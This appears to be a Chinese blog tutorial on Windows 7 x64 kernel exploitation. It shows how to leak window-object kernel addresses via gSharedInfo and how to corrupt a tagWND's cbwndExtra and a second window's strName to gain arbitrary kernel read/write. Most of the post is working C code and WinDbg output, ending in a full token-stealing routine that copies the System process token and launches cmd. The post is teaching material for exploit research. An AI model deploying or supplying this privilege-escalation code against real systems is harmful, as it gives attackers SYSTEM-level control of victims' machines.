更改tagWND实现内存任意读写
在实际的内核漏洞利用中,有时候可以获得内核地址任意写的能力。
但是有面临如下两个问题:
- 如何由通过内核任意写能力扩展到内核任意读写?
- 基于内核任意读写能力又如何做到替换Token指针达到进程提权呢?
这里带来一种更改tagWND结构体cbwndExtra标志位的做到任意读写的方法
gSharedInfo内核地址泄漏技术
比如说我创建了一个窗体对象,但是我不知道这个窗体对象在内核中的地址,我们需要一种技术把该对象的地址给泄漏出来。
不然即使获得任意写的能力,你也不知道具体往哪写。
gSharedInfo的使用如下:
win7x64 编译成64位程序验证通过
#include "windows.h"
typedef struct _HANDLEENTRY {
PVOID phead;
PVOID pOwner;
BYTE bType;
BYTE bFlags;
WORD wUniq;
} HANDLEENTRY, *PHANDLEENTRY;
typedef struct _SERVERINFO {
WORD wRIPFlags;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
ULONG cHandleEntries;
} SERVERINFO, *PSERVERINFO;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
} SHAREDINFO, *PSHAREDINFO;
ULONG_PTR GetObjectKernelAddr(HWND hwnd)
{
static PSHAREDINFO gSharedInfo = NULL;
if (gSharedInfo == NULL)
{
gSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32"), "gSharedInfo");
if (gSharedInfo == NULL)
{
return NULL;
}
}
PHANDLEENTRY HandleTable = gSharedInfo->aheList;
PHANDLEENTRY HandleEntry = (PHANDLEENTRY)&HandleTable[LOWORD(hwnd)];
return (ULONG_PTR)HandleEntry->phead;
}
HWND gHwndWnd1 = NULL;
HWND gHwndWnd2 = NULL;
ULONG64 gWndAddr1 = 0;
ULONG64 gWndAddr2 = 0;
BOOL CreateToolWnd()
{
gHwndWnd1 = CreateWindowExW(
NULL, L"#32772", NULL,
WS_MINIMIZE | WS_DISABLED,
0, 0, 0, 0, NULL, NULL, NULL, NULL);
gHwndWnd2 = CreateWindowExW(
NULL, L"#32772", NULL,
WS_MINIMIZE | WS_DISABLED,
0, 0, 0, 0, NULL, NULL, NULL, NULL);
if (gHwndWnd1 == NULL || gHwndWnd2 == NULL)
{
return FALSE;
}
ULONG_PTR WndAddr1 = GetObjectKernelAddr(gHwndWnd1);
ULONG_PTR WndAddr2 = GetObjectKernelAddr(gHwndWnd2);
if (WndAddr1 == 0 || WndAddr2 == 0)
{
return FALSE;
}
if (WndAddr1 < WndAddr2)
{
gWndAddr1 = WndAddr1;
gWndAddr2 = WndAddr2;
}
else
{
gWndAddr1 = WndAddr2;
gWndAddr2 = WndAddr1;
}
printf("gWndAddr1:%p\n", gWndAddr1);
printf("gWndAddr2:%p\n", gWndAddr2);
return TRUE;
}
运行结果是这样:
输出的就是该对象的内核地址。
这里还额外做了一个操作:
根据两个window对象的内核地址的大小,把较小的地址放到gWndAddr1中,较大的放到了gWndAddr2中
因为这里我们需要做另外一个操作:
通过Wnd1对象更改Wnd2对象内容。
下面说说怎么做:
更改Wnd1的cbwndExtra
cbWndExtra是什么
指定了系统为每个窗口分配多少字节的额外空间,默认为0
用户态的可以以下代码设置窗口额外空间大小为0x100
WNDCLASSEXW WndClass = { 0 };
WndClass.cbSize = sizeof(WNDCLASSEXW);
WndClass.lpfnWndProc = DefWindowProcW;
// 这里设置cbWndExtra大小
WndClass.cbWndExtra = 0x100;
WndClass.hInstance = GetModuleHandleA(NULL);
WndClass.lpszMenuName = NULL;
WndClass.lpszClassName = L"MyClassName";
RegisterClassExW(&wndClass);
CreateWindowExW(NULL, L"MyClassName", NULL,
WS_VISIBLE, 0, 0, 1, 1,
NULL, NULL, GetModuleHandleA(NULL), NULL);
而且可以通过以下函数对设置的额外空间进行读写:
//从n位置开始读取一个Word,Long,LongPtr
GetWindowWord(hWnd, n);
GetWindowLong(hWnd, n);
GetWindowLongPtr(hWnd, n);
//从n位置开始写入一个Word,Long,LongPtr
SetWindowWord(hWnd, n, value);
SetWindowLong(hWnd, n, value);
SetWindowLongPtr(hWnd, n, value);
当然,GetWindowLong或者SetWindowLong都受cbWndExtra标志位限制。
如果能通过任意写能力,更改Wnd1的cbwndExtra,把cbwndExtra改的足够的大,那么就可以实现对Wnd1对象后面的地址空间读写的能力。
但是却不能读写Wnd1对象之前的地址。
那怎么全地址的任意读写呢?
我们可以更改后面的window对象的strName字段。
然后对进行GetWindowText和SetWindowText进行设置。
但是用SetWindowText有个小问题,不能设置连续的0字节:
SetWindowText大致伪码:
void SetWindowText()
{
...
wcsncpy(窗口文本指针strName,要设置的文本,大小)
}
因为是字符串拷贝,中间如果有多个0会被截断,但是一般来讲影响不大,不过遇到这种情况需要自己处理。
总结下大致流程
- 1.通过漏洞设置Wnd1->cbWndExtra
- 2.通过SetWindowLong更改Wn2的strName
- 3.通过GetWindowText/SetWindowText实现任意读写
我们通过windbg模拟第一步:
kd> !process 0 0 template.exe
PROCESS fffffa8003f1f920
SessionId: 1 Cid: 08d4 Peb: 7fffffd6000 ParentCid: 0838
DirBase: 4d92c000 ObjectTable: fffff8a010af7810 HandleCount: 20.
Image: template.exe
// 沉浸式切换到目标进程
kd> .process /i /p fffffa8003f1f920
You need to continue execution (press 'g' <enter>) for the context
to be switched.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
fffff800`03ec6490 cc int 3
kd> .reload
// cbwndExtra默认为0
kd> dt win32k!tagWND fffff900c0808d10
...
+0x0d8 strName : _LARGE_UNICODE_STRING
+0x0e8 cbwndExtra : 0n0
// 修改成一个比较大的数
kd> eq fffff900c0808d10+e8 11223344
kd> dq fffff900c0808d10+e8
fffff900`c0808df8 00000000`11223344 fffff900`c0808d10
至此我们已经模拟了漏洞修改cbwndExtra
然后根据上面说的原理封装出一套任意读写函数:
#define Sizeof_tagWND 0x128
#define Offset_tagWND_pti 0x10
#define Offset_tagWND_cbwndExtra 0xE8
#define Offset_tagWND_strName 0xD8
#define Offset_STRING_Length 0x00
#define Offset_STRING_MaximumLength 0x04
#define Offset_STRING_Buffer 0x08
#define Offset_KTHREAD_ApcState 0x50
#define Offset_KAPC_STATE_Process 0x20
#define Offset_EPROCESS_UniqueProcessId 0x180
#define Offset_EPROCESS_ActiveProcessLinks 0x188
#define Offset_EPROCESS_Token 0x208
DWORD gToolWndStrNameOffset = 0;
VOID InitReadWriteKernelAddr()
{
gToolWndStrNameOffset = (DWORD)((gWndAddr2 + Offset_tagWND_strName) - (gWndAddr1 + Sizeof_tagWND));
SetWindowLongW(gHwndWnd1, gToolWndStrNameOffset + Offset_STRING_Length, 0x100);
SetWindowLongW(gHwndWnd1, gToolWndStrNameOffset + Offset_STRING_MaximumLength, 0x100);
}
BOOL WriteKernelAddr64(UINT64 Addr, ULONG64 Value)
{
SetWindowLongPtrW(gHwndWnd1, gToolWndStrNameOffset + Offset_STRING_Buffer, Addr);
ULONG64 TempValue[2] = { 0 };
TempValue[0] = Value;
SetWindowTextW(gHwndWnd2, (PWCHAR)TempValue);
return TRUE;
}
ULONG32 ReadKernelAddr32(UINT64 Addr)
{
SetWindowLongPtrW(gHwndWnd1, gToolWndStrNameOffset + Offset_STRING_Buffer, Addr);
ULONG32 Read[6] = { 0 };
InternalGetWindowText(gHwndWnd2, (LPWSTR)&Read, 4);
return Read[0];
}
ULONG64 ReadKernelAddr64(UINT64 Addr)
{
ULONG32 LowAddr = ReadKernelAddr32(Addr);
ULONG32 HighAddr = ReadKernelAddr32(Addr + sizeof(ULONG32));
ULONG64 Read = ((ULONG64)HighAddr << 32) + LowAddr;
return Read;
}
然后根据任意读写能力实现进程token替换:
可以重点注意下是如何从窗口对象索引到进程EPROCESS的过程
BOOL ReplaceToken()
{
ULONG64 ptiAddr = ReadKernelAddr64(gWndAddr1 + Offset_tagWND_pti);
printf("[+]pti : %llx\n", ptiAddr);
ULONG64 pEThread = ReadKernelAddr64(ptiAddr);
printf("[+]pEThread : %llx\n", pEThread);
ULONG64 ApcState = ReadKernelAddr64(pEThread + Offset_KTHREAD_ApcState);
printf("[+]ApcState : %llx\n", ApcState);
ULONG64 Process = ReadKernelAddr64(ApcState + Offset_KAPC_STATE_Process);
printf("[+]Process : %llx\n", Process);
ULONG64 Token = ReadKernelAddr64(Process + Offset_EPROCESS_Token);
printf("[+]Token : %llx\n", Token);
ULONG64 NextProcess = Process;
INT i = 0;
while (TRUE)
{
NextProcess = ReadKernelAddr64(NextProcess + Offset_EPROCESS_ActiveProcessLinks) - Offset_EPROCESS_ActiveProcessLinks;
ULONG64 Pid = ReadKernelAddr64(NextProcess + Offset_EPROCESS_UniqueProcessId);
if (Pid == 4)
{
printf("[+]System Process : %llx\n", NextProcess);
break;
}
if (i++ > 0x1000)
{
printf("[+]ModifyToken Faild..\n");
return FALSE;
}
}
ULONG64 SystemTokenPtr = ReadKernelAddr64(NextProcess + Offset_EPROCESS_Token);
printf("[+]SystemTokenPtr : %llx\n", SystemTokenPtr);
WriteKernelAddr64(Process + Offset_EPROCESS_Token, SystemTokenPtr);
printf("[+]ModifyToken Successed..\n");
return TRUE;
}
调用主函数:
int main()
{
CreateToolWnd();
printf("Before Token Replace..\n");
//这里需要用windbg修改cbWndExtra
getchar();
InitReadWriteKernelAddr();
ReplaceToken();
system("cmd");
getchar();
return 0;
}
最终效果:
发表评论
要发表评论,您必须先登录。